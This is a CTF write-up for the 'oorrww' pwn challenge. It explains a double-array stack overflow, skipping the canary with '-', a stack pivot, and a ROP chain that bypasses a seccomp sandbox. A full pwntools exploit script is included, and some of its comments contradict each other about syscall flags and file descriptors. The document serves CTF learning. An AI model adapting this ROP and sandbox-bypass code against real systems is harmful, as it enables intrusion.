L3akCTF 2024 - [PWN] OORRWW
Difficulty : ⭐
Pwninit and checksec
The orrww binary is given with older version of libc.so.6.
I used pwninit to patch the binary with patchelf to use the correct RPATH and linker for the provided libc :
As you can see, all protection are ON.
I have no information about ASLR so I assume it is enabled on the remote machine.
Decompilation with Ghidra
I decompiled main()
function with Ghidra :
The first thing interesting here is sandbox()
function :
There is a seccomp sandbox that i need to bypass.
Seccomp-BPF analysis
It is possible to dump seccomp-BPF rules using seccomp-tools :
execve and execveat syscall are forbidden. There are at least two ways to bypass these rules and read flag.txt file :
open -> read -> puts
open -> sendfile
Leaks
The second thing interesting from main()
function is gift()
function :
It leaks the address of __isoc99_scanf()
from LIBC and param_1
, which is the address of the buffer where data will be written in the stack.
It will be useful.
So, where’s the vulnerability ?
Vulnerability
Here, in main()
function :
The program asks the user to write 22 doubles inside a buffer of 152 bytes. However, a double is 8 bytes-long and
buffer + (i << 3) = buffer + (i * 8)
i
variable has a maximum value of 21. It is then possible to write doubles value from buffer[0]
to buffer[21]
:
index | offset | overflow ? | stack |
---|---|---|---|
buffer[0] | buffer + 0 | no | buffer |
buffer[1] | buffer + 8 | no | buffer |
buffer[2] | buffer + 16 | no | buffer |
… | … | … | … |
buffer[18] | buffer + 144 | no | buffer |
buffer[19] | buffer + 152 | yes | canary |
buffer[20] | buffer + 160 | yes | RBP |
buffer[21] | buffer + 168 | yes | RET |
To recap, there is a stack-based buffer overflow where I can rewrite the canary value, RBP and RET value.
I can only control 176 bytes in the stack (22 floating point values).
Strategy
I have two leaks : &buffer
and __isoc99_scanf@GOT
. I can do LIBC leak and use LIBC gadgets to craft my ROPchain.
0x0000000000045eb0 : pop rax ; ret
0x000000000002a3e5 : pop rdi ; ret
0x000000000002be51 : pop rsi ; ret
0x00000000000904a9 : pop rdx ; pop rbx ; ret
0x000000000003d1ee : pop rcx ; ret
0x0000000000091316 : syscall ; ret
I can bypass seccomp rules with : open -> sendfile
But how can I bypass the canary value ?
No leak for this, but It is possible to not overwrite data with “%lf” floating point specifier from scanf()
using “-” character !
It will do nothing and the execution will continue.
Here is my final strategy :
- Step 1 : Write “flag.txt\0” into the stack using the first 16 bytes of the buffer
- Step 2 : Open “flag.txt\0” file with open syscall in reading mode only (O_RDONLY). This is here where the payload execution will start after redirecting RSP and RIP
- Step 3 : Craft the ROPchain to call
open
syscall. I assume that the next file descriptor (generated byopen
) will be 3.
pop rax ; SYS_OPEN -> 2
ret
pop rdi ; &"flag.txt\0" -> address of buffer leaked by gift()
ret
pop rsi ; O_RDONLY -> 2
ret
syscall ; open("flag.txt",O_RDONLY);
ret
- Step 4 : Craft the ROPchain to call
sendfile
from LIBC. - Step 5 : Call
sendfile()
from LIBC to redirect n bytes of content of the opened file from an other file descriptor (stdout is interesting to see the flag and 80 bytes should be enough)
pop rdi ; 3 (I assume this is the next file descriptor)
ret
pop rsi ; stdout -> 1
ret
pop rdx ; offset = 0
ret
pop rbx ; Gadget I found with RDX -> junk value
ret
pop rcx ; 0x50 -> 80 bytes -> any big value for flag
ret
sendfile@LIBC ; address of sendfile from LIBC (using LIBC leak)
; sendfile(3,1,0,80);
- Step 6 : Bypass the canary value without overwriting it using “-” character.
- Step 7 : Overwrite the value of RBP with
buffer+8
with the help ofgift()
leak.
It will redirect RSP after pivoting stack tobuffer+16
, whereopen
syscall parameters are loaded. - Step 8 : Pivoting the stack with
leave ; ret
to redirect RSP tobuffer+16
and RIP to RSP.
Payload
I have no longer access to remote machine because I couldn’t complete the challenge on time.
This is why I’m doing it locally but it should work remotely.
Here is the final payload :
# ===============================================[ Module Imports ]===============================================
from pwn import *
from decimal import Decimal
import struct
# =====================================[ Load ELF binary and start process ]======================================
elf = ELF("./oorrww_patched",checksec=False)
libc = ELF("libc.so.6",checksec=False)
# io = remote("193.148.168.30", 7666)
io = process([elf.path],env={"LD_PRELOAD": libc.path})
# ===================================================[ Leaks ]====================================================
leaks = io.recvline().decode("utf-8")
buffer_leak = struct.pack('<d',Decimal(leaks.split(' ')[5]))
scanf_leak = struct.pack('<d',Decimal(leaks.split(' ')[6].replace('!','')))
print("[+] Leak : __isoc99_scanf @ "+hex(int.from_bytes(scanf_leak[::-1])))
print("[+] Leak : buffer @ "+hex(int.from_bytes(buffer_leak[::-1])))
print("[+] LIBC base address @ "+hex(int.from_bytes(scanf_leak[::-1])-libc.sym["__isoc99_scanf"]))
# ================================================[ LIBC Gadgets ]================================================
base = int.from_bytes(scanf_leak[::-1])-libc.sym["__isoc99_scanf"]
LEAVE_RET = base + 0x000000000004da83
POP_RAX_RET = base + 0x0000000000045eb0
POP_RDI_RET = base + 0x000000000002a3e5
POP_RSI_RET = base + 0x000000000002be51
POP_RDX_POP_RBX_RET = base + 0x00000000000904a9
POP_RCX_RET = base + 0x000000000003d1ee
SYSCALL_RET = base + 0x0000000000091316
# ==================================================[ Functions ]=================================================
def int2double(x):
return struct.unpack('d',p64(x))[0]
def double2bytes(x):
return str(x).encode("utf-8")
def int2bytes(x):
return double2bytes(int2double(x))
def bytes2doublebytes(x):
return double2bytes(struct.unpack('d',x)[0])
# ===================================================[ Payload ]==================================================
payload = [ bytes2doublebytes(b"flag.txt"), # "flag.txt"
int2bytes(0), # "\0" for the end of "flag.txt"
int2bytes(POP_RAX_RET), # RAX = 2
int2bytes(2),
int2bytes(POP_RDI_RET), # RDI = buffer -> &"flag.txt\0"
bytes2doublebytes(buffer_leak),
int2bytes(POP_RSI_RET), # RSI = O_RDONLY -> 2
int2bytes(2),
int2bytes(SYSCALL_RET), # open("flag.txt\0",O_RDONLY);
int2bytes(POP_RDI_RET), # RDI = 1 -> stdout
int2bytes(2),
int2bytes(POP_RSI_RET), # RSI = 3 (I assume it is the file descriptor of opened file)
int2bytes(3),
int2bytes(POP_RDX_POP_RBX_RET), # RDX = 0 -> offset
# RBX = 0 (junk)
int2bytes(0),
int2bytes(0),
int2bytes(POP_RCX_RET), # RCX = 0x50
int2bytes(0x50),
int2bytes(base + libc.sym["sendfile"]), # sendfile(1,3,0,0x50);
b"-", # Canary bypass
int2bytes(u64(buffer_leak)+8), # RBP = (buffer + 8)
int2bytes(LEAVE_RET) # Stack pivoting : RSP = (buffer + 16) and RIP = RSP
]
# =====================================================[ Flag ]===================================================
for i in payload:
io.sendline(i)
io.recvline()
print(b"FLAG : "+io.recv(2048))
Flag
Here is the result of python3 exploit.py
: